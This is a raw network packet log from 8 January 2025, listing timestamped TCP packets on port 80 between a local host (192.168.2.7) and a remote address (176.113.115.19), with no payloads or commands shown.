Jan 8, 2025 09:42:35.598556042 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598570108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598577976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598577976 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598611116 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598619938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598625898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598634005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598664999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598679066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598684072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598692894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598700047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598735094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598741055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598745108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598767996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598777056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598789930 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598797083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598803043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598803043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598817110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598836899 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598846912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598855972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598881006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598891020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598898888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.598902941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598934889 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.598946095 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599030972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599037886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599050045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599057913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599088907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599118948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599137068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599153042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599153996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599174976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599179029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599196911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599203110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599205017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599211931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599216938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599225044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599231958 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599236965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599241972 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599245071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599288940 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599301100 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599843025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599858999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599870920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599877119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599888086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599890947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599919081 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599948883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599950075 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.599977970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.599996090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600008965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600013018 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600018024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600023031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600025892 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.600029945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600042105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600073099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600073099 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.600092888 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.600120068 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.600141048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600146055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600155115 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600161076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600166082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600183964 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600193977 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.600212097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.600227118 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.600259066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.635737896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635776997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635785103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635808945 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.635823011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635828972 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635845900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635849953 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.635854006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635868073 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.635907888 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.635977030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635992050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.635998011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.636006117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.636013031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.636024952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.636024952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.636033058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.636054993 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.636084080 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.644886971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.644903898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.644942999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.644949913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.644951105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.644973993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.644992113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645015955 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645108938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645116091 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645128012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645133018 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645153046 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645159006 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645163059 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645174026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645194054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645198107 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645200968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645206928 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645212889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645224094 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645226002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645237923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645242929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645248890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645255089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645256042 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645276070 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645277023 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645284891 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645294905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645296097 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645301104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.645328999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.645335913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.682714939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682735920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682742119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682755947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682770967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682770967 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.682776928 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682784081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682812929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682818890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.682832956 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.682832956 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.682857037 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.683022976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683079004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683088064 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683098078 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683104038 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.683116913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683120966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.683126926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683134079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683140039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683144093 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.683146000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.683175087 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.683187008 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685081959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685139894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685142040 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685157061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685161114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685168982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685184956 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685190916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685197115 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685199022 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685233116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685235023 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685240030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685246944 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685278893 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685280085 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685295105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685298920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685328007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685337067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685343981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685355902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685363054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685390949 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685400009 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685508013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685518980 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685544014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685550928 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685554028 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685556889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685561895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685569048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685584068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685587883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685607910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685614109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685620070 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685622931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685628891 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685642958 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685647011 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685667992 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685683012 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685697079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685704947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685717106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685724020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685745955 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685764074 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685780048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685786009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685792923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685800076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685823917 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685848951 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685868979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685875893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685889006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685920000 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.685961008 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685967922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685976982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.685981035 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686014891 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686027050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686517954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686580896 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686589956 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686602116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686609030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686626911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686629057 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686638117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686650991 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686656952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686683893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686688900 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686693907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686707973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686741114 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686748028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686753035 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686758995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686767101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686790943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686800957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686825991 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686840057 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686844110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686886072 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686912060 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686942101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686949015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686959982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686968088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686976910 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.686980009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.686989069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.687016964 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.687030077 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722544909 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722575903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722608089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722615957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722620010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722625971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722635031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722641945 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722661972 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722671032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722698927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722698927 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722718000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722727060 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722732067 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722735882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722753048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722754955 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722764015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722774982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722781897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.722785950 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.722819090 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.731842041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.731868982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.731890917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.731901884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.731906891 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.731925011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.731944084 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.731960058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.731969118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.731976032 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732007980 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732014894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732027054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732043982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732053041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732076883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732089996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732105970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732116938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732147932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732156992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732161045 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732172012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732181072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732206106 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732230902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732230902 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732240915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732250929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.732275009 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.732292891 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.769629002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769644976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769654989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769664049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769675016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769682884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769699097 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.769702911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769756079 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.769776106 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:35.769882917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769895077 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769923925 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:35.769932985 CET	80	49703	176.113.115.19	192.168.2.7
